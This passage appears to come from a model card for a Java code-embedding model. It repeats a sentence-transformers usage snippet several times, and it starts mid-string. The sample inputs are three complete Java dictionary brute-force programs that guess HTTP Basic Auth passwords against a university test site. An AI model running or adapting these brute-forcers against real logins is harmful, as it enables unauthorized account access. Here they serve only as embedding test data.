BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    